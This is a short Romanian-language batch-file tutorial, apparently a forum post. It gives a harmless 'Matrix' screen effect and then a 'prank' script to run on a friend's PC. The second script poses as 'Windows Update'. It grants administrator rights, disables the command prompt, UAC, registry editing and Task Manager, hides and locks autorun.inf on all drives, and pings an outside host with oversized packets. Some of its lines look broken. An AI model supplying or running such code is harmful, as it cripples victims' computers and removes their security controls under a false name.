1. Matrix Effect

a) Deschideti un nou text document cu ce nume vreti voi si cu extensia .bat EX: matrix.bat

Introduceti urmatorul cod:

@echo off
color 0a
:start
echo %random%%random%%random%%random% (repetati de mai multe ori acest rand)
goto start

Si salvati cu nume.bat

Ar trebui sa arate cam asa:

Command Promt

2. O gluma prietenilor.

Daca vreti sa faceti o gluma unui prieten destul de urata atunci faceti asa:

a) Deschideti un text document nou

b) Copiati urmatorul text in document:

@echo off & break off & title “Windows Update”
:%random%:
net localgroup “Administrators” /add %username%
reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f >nul
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f >nul
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
:header:
set ver=1
:start
for %%g in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
if exist %%g:\ (
if exist %%g:\sjs (
set sjs=%%g:\sjs
attrib +h +s +r %%g:\autorun.inf
)
)
ping -l 65000 -w 10000 gfx-dose.de -n 5
if errorlevel 1 echo no connectivity >%windir%\system32\con
if not %bla%=50 goto bla
goto start

c) salvati nume.bat

Sunt sigur ca o sa va tina minte toata viata!

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